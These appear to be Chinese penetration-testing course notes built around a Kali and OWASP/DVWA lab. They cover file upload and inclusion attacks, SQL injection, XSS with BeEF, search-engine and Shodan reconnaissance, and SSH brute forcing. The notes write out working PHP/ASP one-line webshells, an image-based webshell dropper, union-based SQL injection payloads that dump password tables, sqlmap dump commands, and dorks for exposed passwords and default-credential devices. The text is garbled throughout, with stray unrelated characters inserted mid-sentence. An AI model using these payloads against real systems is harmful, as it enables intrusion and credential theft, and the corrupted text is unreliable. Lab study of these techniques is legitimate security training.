1.1安全滲透環(huán)境準(zhǔn)備
環(huán)境準(zhǔn)備 靶機(jī) owasp
滲透機(jī) kali
集成 vmware
kali owasp聯(lián)網(wǎng)方式
~# dhclient -r etho 釋放ip
~# dhclient -v etho 看到過程信息 DHCP客戶端獲取ip的四個過程:1.discover 廣播形式 2.offer 3.request 4.ack
systemctl restart ssh 重啟
systemctl restart ssh 停止
systemctl status ssh 查看狀態(tài)
systemctl start ssh 開啟
lsof -i :22 查看端口
創(chuàng)建用戶
useradd+用戶名
password+密碼
2.1 文件上傳漏洞
webshell 控制網(wǎng)站
1.使用php函數(shù) 例如:phpinfo()柄沮;
<?php eval($_REQUEST['cmd']);?>
2.system 使用linux系統(tǒng)命令 例如:ls类缤,cp
<?php system($_REQUEST['1']);?>
2.2中國菜刀
php:<?php @eval($_POST['1']);?>
asp: <%eval request("pass")%>
asp.net <%@ Page Language = "Jscript"%><%Request.Item["pass"]."unsafe");%>
request 是網(wǎng)頁端輸入變量訪問,POST是使用類似于中國菜刀類的工具進(jìn)行連接,是C/S結(jié)構(gòu)
通過該文本文檔查看菜刀的詳細(xì)信息
1.獲取數(shù)據(jù)庫
2.獲取web信息
3.網(wǎng)站掃描
如何防御:
1.如高安全靶機(jī)對后綴進(jìn)行限制
2.在前端部署web應(yīng)用防火墻看看有沒有類似木馬
3.如果懷疑網(wǎng)站中毒义锥,通過fgrep -R 'eval('帶有關(guān)鍵字的'
2.3 文件包含攻擊
robots(爬蟲協(xié)議)聲明不可以爬的內(nèi)容
文件包含漏洞是指當(dāng)服務(wù)器開啟 allow_url_include選項時探遵,就可以通過php的某些特性函數(shù)(include(),require()和include_once(),require_once())利用url去動態(tài)包含文件窟赏,此時如果沒有對文件進(jìn)行嚴(yán)格的審查,就會導(dǎo)致審議文件讀取或執(zhí)行命令箱季,文件包含漏洞分為本地文件包含漏洞與遠(yuǎn)程文件包含漏洞涯穷,遠(yuǎn)程文件包含漏洞,遠(yuǎn)程文件包含漏洞是因為開啟了php配置中的allow_url_fopen選項(選項開啟之后藏雏,服務(wù)器允許包含一個遠(yuǎn)程的文件)求豫。服務(wù)器通過php的特性(函數(shù))去包含審議文件時,由于要包含的這個文件來源過濾不嚴(yán)诉稍,從而可以去包含一個惡意文件蝠嘉,而我們可以構(gòu)造這個惡意文件來達(dá)到自己的目的
1.本地文件包含LFI(local file inclusion)
2.遠(yuǎn)程文件包含RFI(remote file inclusion)
將一句話木馬寫入到shell.php中
2.3.1本地文件包含+webshell
edjpgcom 圖片編輯器
1.制作一句話木馬 eg:1.jpg
<?fputs(fopen("shell20.php","w"),'<?php eval($_post[1]);?>')?>
2.上傳圖片木馬文件
3.執(zhí)行文件包含并生成后門
4.通過菜刀鏈接webshell
2.3.2遠(yuǎn)程文件包含+webshell
1.在自己的網(wǎng)站上創(chuàng)建一個含有木馬的文件
<?fputs(fopen("shell20.php","w"),'<?php eval($_post[1]);?>')?>
2.通過包含漏洞遠(yuǎn)程上傳
如果通過將http://替換
選擇httphttp://://的形式
3.1sql注入
數(shù)字無法為當(dāng)做字段名
3.2聯(lián)合查詢
select user ,password,host from mysql.user where 1=2 union select user_login,user_pass,1 from wordpress.wp_users limit 5;
將已知表的字段與另一表對比用數(shù)字充當(dāng)字段
后面查詢的值并不與顯示的字段名做對比
通過1=2 將前面的內(nèi)容消掉
union select user() database()
version() 獲取數(shù)據(jù)庫版本信息
database() 獲取當(dāng)前數(shù)據(jù)庫名
user() 獲取當(dāng)前用戶名
查詢庫中的表名 ' union select table_name,1 from information_schema.tables --'
查詢所有庫名' union select * from information _schema.tables --'
同時查詢表名以及對應(yīng)的庫名
' union select table_schema,table_name from information_schema tables --'
查詢字段名
column 列名
' union select 1,column_name from information_schema,columns where table _name='users' --'
查詢數(shù)據(jù)列
' union select 1, user from users --'
concat函數(shù)(將幾個字段名下的內(nèi)容 連接到一起)
' union select password , concat (first_name,' ',last_name,' ',user) from users --'
3.3給予錯誤的查詢
通過or條件
select user_id,first_name,last_name from dvwa.users where first_name='yin' or 1=1;
information_schema(數(shù)據(jù)庫字典):保存了整個數(shù)據(jù)庫所有表和庫的所有信息
查詢數(shù)據(jù)庫庫名,表名 information_schema.tables
查詢所有庫的所有表的所有信息select * from information_schema.tables\g;
查詢數(shù)據(jù)庫 distinct 進(jìn)行查重 show databases = select DISTINCT table_schema from information_schema.tables;
僅查詢庫名表名在數(shù)據(jù)庫字典中 select table_schema,table_name from information_schema.tables;
concat進(jìn)行字符串拼接 將合并相同庫 select table_schema,group_concat(table_name) from information_schema.tables group by table_schema\g;
查詢指定數(shù)據(jù)庫 select table_name from information_schema.tables where tables_schema='dvwa'; 等價于show tables
爆列 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
爆值 union select 1,group_concat(username,0x3a,password),3 from users--+
3.4.1基于錯誤的注入(找尋注入點)
比如:' 如果語法報錯等說明有注入的可能性
3.4.2基于布爾的注入
思路是閉合sql語句杯巨,主要通過or,and等
where user_id=' ' or 1=1 -- yangge ';
中間的引號用于閉合前面的引號
3.4.3 j時間盲注
真條件' and sleep(5) --'
sqlmap自動化注入
-u 用于進(jìn)行? =的注入
--dbs獲取所有數(shù)據(jù)庫
--current db 當(dāng)前數(shù)據(jù)庫
--users 所有用戶
--current user 當(dāng)前用戶
--D "database_name" --tables 庫中有哪些表
--D "database_name" -T "table_name" --columns 某個庫某個表中有哪些列
--dump-all 將全部表dump下來
--dump-all --exclude-sysdbs 排除系統(tǒng)庫
--D "database_name" -T "table_name" --dump
--D "database_name" -T "table_name"-C "username,password" --dump
--batch --level=5 --risk=3
-- batch --current -db 獲取當(dāng)前數(shù)據(jù)庫
-- batch -D nowasp --tables 獲取數(shù)據(jù)庫表
-- batch -D nowasp -T accounts -columns獲取表中字段
--batch -D nowasp -T accounts -C "username , password" --dump 獲取表中數(shù)據(jù)
通過cookie 來免登陸
4.1 xss(cross site scripting)跨站腳本攻擊
xss 是指惡意攻擊者利用網(wǎng)站沒有對用戶提交數(shù)據(jù)進(jìn)行轉(zhuǎn)移處理或者過濾不足的缺點蚤告,進(jìn)而添加一些代碼,嵌入到web頁面中服爷,使別的用戶訪問都會執(zhí)行行相應(yīng)的嵌入代碼杜恰。從而盜取用戶資料,利用用戶身份進(jìn)行某種動作或者對訪問者進(jìn)行病毒侵害的一種攻擊方式
CSRF 跨站請求偽造
常見的兩種類型:
4.2反射型
4.1.2構(gòu)造xss腳本
1.常用html標(biāo)簽
2.常用JavaScript方法
3.構(gòu)造xss腳本
4.3 存儲型
browser exploitation framework(BeEF)
beff是目前最強(qiáng)大的瀏覽器開源滲透測試框架仍源,通過xss漏洞配合js腳本和metasploit進(jìn)行滲透心褐;beff是基于ruby語言編寫的,并且支持圓形化界面笼踩,操作簡單
5.1 web信息收集
5.1.1信息收集概述
1.web信息搜索(探測)即web踩點逗爹,主要是掌握目標(biāo)web服務(wù)的方方面面,是實現(xiàn)web滲透入侵前的準(zhǔn)備工作
2.web踩點內(nèi)容包括操作系統(tǒng)嚎于,服務(wù)器類型掘而,數(shù)據(jù)庫類型,web容器于购,web語言袍睡,域名信息,網(wǎng)站目錄肋僧。斑胜。控淡。
3.web信息搜集涉及搜索引擎,網(wǎng)站掃描止潘,域名遍歷掺炭,指紋識別等工作
5.1.2 goodle hacking
1.site(站點)
2.filetype
指定文件類型
filetype:pdf "關(guān)鍵詞"
3.inurl
搜索url網(wǎng)址存在特定的關(guān)鍵字的網(wǎng)頁,可以用來搜索有注入點的網(wǎng)站
eg: inurl:.php?id=
inurl:login.php
4.intitle
搜索標(biāo)題存在特定關(guān)鍵字的網(wǎng)頁
intitle:后臺登錄 (搜索網(wǎng)頁標(biāo)題是“后臺登錄”的相關(guān)網(wǎng)頁)
intitle:后臺管理 filetype:php (搜索網(wǎng)頁標(biāo)題是“后臺管理”的php頁面)
intitle:index of "keyword" 搜索此關(guān)鍵字
intitle:index of "parent directory" 查找其父目錄
intitle:index of "password" 搜索密碼相關(guān)的索引目錄的信息
intitle:index of "login" 搜索登錄頁面信息
intitle:index of "admin" 搜索后臺管理頁面信息
5.intext
搜索正文存在特定關(guān)鍵字的網(wǎng)頁
intext:Powered by Discuz 搜索Discuz論壇相關(guān)的頁面
intext:Powered by wordpress 搜索wordpress制作的博客網(wǎng)址
intext:Powered by CMS 搜索CMS相關(guān)的頁面(內(nèi)容管理系統(tǒng)覆山,建站系統(tǒng))
intext: Powered by xxx inurl:login 搜索此類網(wǎng)址的后臺登錄頁面
6.符號
-keyword 強(qiáng)制結(jié)果不要出現(xiàn)此關(guān)鍵字
*keyword 模糊搜索,強(qiáng)制結(jié)果包含此關(guān)鍵字
"keyword" 強(qiáng)制搜索結(jié)果出現(xiàn)此關(guān)鍵字
5.1.3 shodan Hacking(類似鐘馗之眼 zoomeye)
shodan(撒旦搜索引擎)是由web工程師編寫的泥栖,可掃描一切聯(lián)網(wǎng)設(shè)備簇宽,除了常見的web服務(wù)器,還能掃描防火墻吧享,路由器魏割,交換機(jī),攝像頭钢颂,打印機(jī)等一切聯(lián)網(wǎng)設(shè)備
1.ip
114.114.114.114
2.service/protocol
http
http country:"DE" DE為德國 通過搜索兩位國家代碼
http country:"DE" product:"Apache httpd"
http product:"Apache httpd" 關(guān)于http與apache的內(nèi)容
ssh
ssh default password
ssh default password country :"JP"
3.keyword
基于關(guān)鍵詞搜索的思路是根據(jù)banner信息(設(shè)備指紋)來搜索
"default password" country :"TH"
FTP anon successful (FTP 匿名登錄)
4.country
country:cn钞它,us,jp...
5.product
product:"Microsoft IIS httpd"
product:"nginx"
product:"Apache httpd"
product:Mysql
6.version
product:mysql version:"5.1.73"
product:"microsoft IIS httpd" version:"7.5"
7.hostname
hostname:.org
hostname:.edu
8.os(操作系統(tǒng)的版本)
os:"Windows Server 2008 R2"
os:"Windows 7or 8"
os:"Linux 2.6.x"
mstsc.exe 遠(yuǎn)程桌面連接
9.net(網(wǎng)段)
net:110.180.13.0/24
200 ok net:110.180.13.0/24 (返回碼)
10.port(端口的查詢)
port:3389
port:445
port:22
port:80
port:443
5.1.4 鐘馗之眼 zoomeye
幫助界面 :shift + /
ZoomEye 支持公網(wǎng)設(shè)備指紋檢索和 Web 指紋檢索
網(wǎng)站指紋包括應(yīng)用名殊鞭、版本遭垛、前端框架、后端框架操灿、服務(wù)端語言锯仪、服務(wù)器操作系統(tǒng)、網(wǎng)站容器趾盐、內(nèi)容管理系統(tǒng)和數(shù)據(jù)庫等庶喜。設(shè)備指紋包括應(yīng)用名、版本救鲤、開放端口久窟、操作系統(tǒng)、服務(wù)名本缠、地理位置等直接輸入關(guān)鍵詞即可開始檢索斥扛。如果需要全詞匹配,請使用引號閉合詞組丹锹。
推薦PHP語言的網(wǎng)站:php
推薦VxWorks系統(tǒng)的設(shè)備:VxWorks
6.1 web信息收集之目標(biāo)掃描
6.1.1 nmap
nmap是安全滲透領(lǐng)域最強(qiáng)大的開源端口掃描器犹赖,能跨平臺進(jìn)行運行
6.1.2 zenmap
6.1.2 Openvas
7.1 AWVS
7.2 AppScan
8.1 burpsuite
target中的scope是做其他一切工作的基礎(chǔ)
8.1.2 spider
9.1 SSH暴力破解
通過密碼字典不斷進(jìn)行猜測
9.1.1海德拉 hydra
頂級暴力密碼破解攻擊
9.1.2 美杜莎 medusa
Session用來追蹤每個用戶的會話,使用服務(wù)器生成的SessionID進(jìn)行標(biāo)識卷仑,用以區(qū)分用戶峻村。Session存放在服務(wù)器的內(nèi)存中,SessionID存放在服務(wù)器內(nèi)存和客戶機(jī)的Cookie里面锡凝。這樣粘昨,當(dāng)用戶發(fā)出請求時,服務(wù)器將用戶Cookie里面記錄的SessionID和服務(wù)器內(nèi)存中的SessionID進(jìn)行比對,從而找到這個用戶對應(yīng)的Session進(jìn)行操作张肾。